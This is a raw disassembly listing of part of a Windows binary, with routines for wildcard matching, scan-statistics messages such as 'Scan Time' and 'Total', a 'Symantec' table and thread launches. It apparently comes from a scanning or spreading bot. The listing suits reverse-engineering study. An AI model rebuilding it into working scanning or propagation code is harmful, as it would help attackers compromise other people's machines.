sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 42h
		db 2Fh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		call	near ptr 2690000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		nop
		call	near ptr 2690000h
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
